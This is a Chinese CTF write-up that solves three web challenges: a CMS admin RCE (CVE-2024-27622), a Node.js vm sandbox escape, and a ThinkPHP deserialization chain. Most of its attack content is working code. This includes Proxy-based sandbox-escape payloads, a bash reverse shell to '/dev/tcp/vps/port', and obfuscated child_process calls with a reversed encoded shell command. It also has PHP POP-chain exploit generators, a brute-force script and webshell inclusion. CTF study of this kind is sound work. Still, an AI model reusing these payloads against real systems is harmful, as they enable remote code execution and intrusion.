前言 最近摸鱼开发,周末本来想打来着,但是补作业就没打。要了其中几道题目的docker,那个没有的pickle反序列化过段时间再说吧。
My first cms 搭建 1 2 docker build . docker run -p 9292 :80 --name my_first_cms [ImageId ]
考点 CVE-2024-27622 我最开始这个爆破了一下,用小字典没打开,在google找到了一个rce,但是文章没法访问,我以为是前台RCE,傻逼了。/admin
登录
Extensions > User Defined Tags
修改 user_agent
代码运行:/readflag
第一次运行执行的默认的输出UA,再执行就有flag。
全世界最简单的CTF 考点 vm1逃逸 搭建
源代码中提到/secret
查看源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 const express = require ('express' );const bodyParser = require ('body-parser' );const app = express ();const fs = require ("fs" );global .lodash = require ("lodash" );const path = require ('path' );const vm = require ("vm" );app.use (bodyParser.json ()).set ('views' , path.join (__dirname, 'views' )).use (express.static ('public' )) app.get ('/' , function (req, res ) { res.sendFile (__dirname + '/public/home.html' ); }) function waf (code ) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g ; if (code.match (pattern)) { throw new Error ("what can I say? hacker out!!" ); } } app.post ('/' , function (req, res ) { let code = req.body .code ; let sandbox = Object .create (null ); let context = vm.createContext (sandbox); try { waf (code) let result = vm.runInContext (code, context); console .log (result); } catch (e) { console .log (e.message ); require ('./hack' ); } }) app.get ('/secret' , function (req, res ) { if (process.__filename == null ) { let content = fs.readFileSync (__filename, "utf-8" ); return res.send (content); } else { let content = fs.readFileSync (process.__filename , "utf-8" ); return res.send (content); } }) app.listen (3000 , () => { console .log ("listen on 3000" ); })
vm逃逸,对process.__filename
进行验值了。正常process没有__filename
这个属性,需要用原型链污染来达到任意文件读取的结果。 用arguments.callee.caller
获取到沙盒外对象,然后使用Proxy来读取文件。
1 2 3 4 5 6 throw new Proxy ({}, { get : function ( ) { const cc = arguments .callee .caller ; cc.__proto__ .__proto__ .__filename = "/etc/passwd" ; } })
源码中提到了require('./hack')
污染的process.__filename
为/app/hack.js
访问/secret
。 再读shell.js
这里通过process.env.command
来进行命令执行,但是不能被包含就不能用。 这里漏洞点再require('/hack')
可以通过原型链污染控制属性值来进行文件包含。
https://hujiekang.top/posts/nodejs-require-rce/
payload:
1 2 3 4 5 6 7 8 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; cc.__proto__ .__proto__ .data = {"name" : "./hack" , "exports" :"./shell.js" }; cc.__proto__ .__proto__ .path = "/app" ; cc.__proto__ .__proto__ .command = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'" ; } })
但是不知道为什么我这里会报错没有bash。 其他wp:
1 2 3 4 5 6 7 8 9 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return procBess' .replace('B' ,'' ) ))(); const obj = p.mainModule .require ('child_procBess' .replace ('B' ,'' )); const ex = Object .getOwnPropertyDescriptor (obj, 'exeicSync' .replace ('i' ,'' )); return ex.value ('whoami' ).toString (); } })
1 2 3 4 5 6 7 8 9 10 throw new Proxy ({}, { get : function ( ){ const content = `;)"'}i-,hsab{|}d-,46esab{|}d-,46esab{|}9UkaKtSQEl0MNpXT4hTeNpHNp5keFpGT5lkaNVXUq1Ee4M0YqJ1MMJjVHpldBlmSrE0UhRXQDFmeG1WW,ohce{' c- hsab"(cexe;)"ssecorp_dlihc"(eriuqer = } cexe { tsnoc` ; const reversedContent = content.split ('' ).reverse ().join ('' ); const c = arguments .callee .caller ; const p = (c.constructor .constructor (`${`${`return proces` } s` } ` ))(); p.mainModule .require ('fs' ).writeFileSync ('/tmp/test1.js' , reversedContent); return p.mainModule .require (`${`${`child_proces` } s` } ` ).fork ('/tmp/test1.js' ).toString (); } })
我这里docker用的是sh,bash一直找不到。最后更换一下即可。 把shell弹出来即可。 但是之后打了半天看flag都是空,最后发现docker给的flag文件里面就是空的😓。 但是似乎在命令行里他显示是flag?
但是在这个docker里阅读时flag文件 不清楚为什么,我猜测可能时加了一个编码错误的空白字符。
用过就是熟悉 考点 php反序列化 先找登录,发现反序列化入口: 找__destruct
从windows的__destruct
入手 进入removeFiles
这里会拼接字符串,因此会调用$filename
的toString
方法。 因此继续去找toString
方法: 第一个就是Collection
的toString
,一路看进去toJson()
`toArray() ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603348867-6119bd26-2341-41b2-8158-386a86fc642d.png#averageHue=%23202126&clientId=u93d7c75f-2382-4&from=paste&height=255&id=udac19533&originHeight=255&originWidth=614&originalType=binary&ratio=1&rotation=0&showTitle=false&size=13368&status=done&style=none&taskId=u018d1e3d-afc8-4d58-a8a7-5417b1904e4&title=&width=614) ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603453502-e84c86c8-b006-44cc-8de4-2b9ca4826863.png#averageHue=%231f2125&clientId=u93d7c75f-2382-4&from=paste&height=437&id=u605dfec7&originHeight=437&originWidth=806&originalType=binary&ratio=1&rotation=0&showTitle=false&size=43764&status=done&style=none&taskId=u2229102d-3118-4c93-af80-e3c1dbaaaf4&title=&width=806) ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603459998-979f4a73-6b76-4fca-91a6-4e439f7586e7.png#averageHue=%231f2024&clientId=u93d7c75f-2382-4&from=paste&height=383&id=u1467c9f6&originHeight=383&originWidth=562&originalType=binary&ratio=1&rotation=0&showTitle=false&size=25470&status=done&style=none&taskId=u54069838-40e8-4f18-9d75-35c491e500f&title=&width=562) ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603474338-c4f2b034-1690-42e5-ab08-2684903e9a72.png#averageHue=%2324262a&clientId=u93d7c75f-2382-4&from=paste&height=548&id=u44664475&originHeight=548&originWidth=996&originalType=binary&ratio=1&rotation=0&showTitle=false&size=64216&status=done&style=none&taskId=u5788ba66-ff07-4a4d-94d4-aa8b485f2a3&title=&width=996) 发现引用了不可访问为拥有的参数,可以通过
__get调用。 ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603556438-20865dcd-3a41-43c8-a760-67f3d29b3e53.png#averageHue=%23313742&clientId=u93d7c75f-2382-4&from=paste&height=170&id=u788300bb&originHeight=170&originWidth=810&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24218&status=done&style=none&taskId=u86a0d056-4555-43de-95ed-14a3931ae9d&title=&width=810) ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603581487-f813dec3-be00-486b-99d2-1332fec1ec4f.png#averageHue=%231f2125&clientId=u93d7c75f-2382-4&from=paste&height=433&id=uac2f5092&originHeight=433&originWidth=783&originalType=binary&ratio=1&rotation=0&showTitle=false&size=39349&status=done&style=none&taskId=ueebea221-b6e2-441b-a29d-ad9f9152dec&title=&width=783) 只有这一个
__get方法,可以触发
__call方法:读取
AdminRequestandhint.php` 其中Testone抽象类需要用Debug类进行继承 编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php namespace think ;use ArrayAccess ;use ArrayIterator ;use Countable ;use IteratorAggregate ;use JsonSerializable ;class Collection { public $items ; } namespace think \process \pipes ;use think \Process ;class Windows { public $file ; } namespace think ;class View { public $data ; public $engine ; } namespace think ;abstract class Testone { public $files ; } namespace think ;use think \exception \ClassNotFoundException ;use think \response \Redirect ;class Debug extends Testone {} use think \process \pipes \Windows ;$a = new Windows ();$a -> files = array (new Collection ());$a -> files[0 ] -> items = new \think\View ();$a -> files[0 ] -> items -> data = array ("Loginout" =>new \think\Debug ());$a -> files[0 ] -> items -> engine = array ("time" =>"10086" );echo base64_encode (serialize ($a ));
1 TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoyOntzOjQ6ImZpbGUiO047czo1OiJmaWxlcyI7YToxOntpOjA7TzoxNjoidGhpbmtcQ29sbGVjdGlvbiI6MTp7czo1OiJpdGVtcyI7TzoxMDoidGhpbmtcVmlldyI6Mjp7czo0OiJkYXRhIjthOjE6e3M6ODoiTG9naW5vdXQiO086MTE6InRoaW5rXERlYnVnIjoxOntzOjU6ImZpbGVzIjtOO319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ
byd似乎题和这个docker的题目不一样。😵 文件名时时间戳的md5生成的,发包爆破即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import timeimport hashlibimport requestsurl="http://localhost:3101/app/controller/user/think/" while (1 ): a = str (int (time.time())).encode('utf-8' ) hash_object = hashlib.md5(a) md5_hash = hash_object.hexdigest() re1=requests.get(url+md5_hash) print (url+md5_hash) if 'kodbox' not in re1.text: print (re1.text) break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php header('Content-Type: text/html; charset=UTF-8' ); $content= "亲爱的Chu0, 我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。 在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。 或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。 <<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>> 而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。 你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。 或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。 POST /?user/index/loginSubmit HTTP/1.1 Host: 192.168.128.2 Content-Length: 162 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.128.2 Referer: http://192.168.128.2/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx Connection: close name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit hint: 新建文件 " ;
寻找明文。调试guest/!@!@!@!@NKCTFChu0
但是似乎db.sql中也有密码。 var/www/html/data/files/shell这里有个一句话木马 ,包含文件。 网上的poc,docker的题目和这里的不太一样,打不通:
https://www.cnblogs.com/gxngxngxn/p/18091636
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php namespace think ; use ArrayAccess ;use ArrayIterator ;use Countable ;use IteratorAggregate ;use JsonSerializable ;class Collection { public $items ; } namespace think \process \pipes ;use PHPEMS \item_weixin ;use think \Collection ;use think \Process ;class Windows { public $files ; } namespace think ;class View { public $data ; public $engine ; } namespace think ;class Config {} use think \process \pipes \Windows ;$A = new \think\process\pipes\Windows ();$A -> files = array (new \think\Collection ());$A -> files[0 ]-> items = new \think\View ();$A -> files[0 ]-> items->data= array ("Loginout" =>new \think\Config ());$A -> files[0 ]-> items->engine = array ("name" =>"../../../../../../../../../var/www/html/data/files/shell" );echo base64_encode (serialize ($A ));
然后发包即可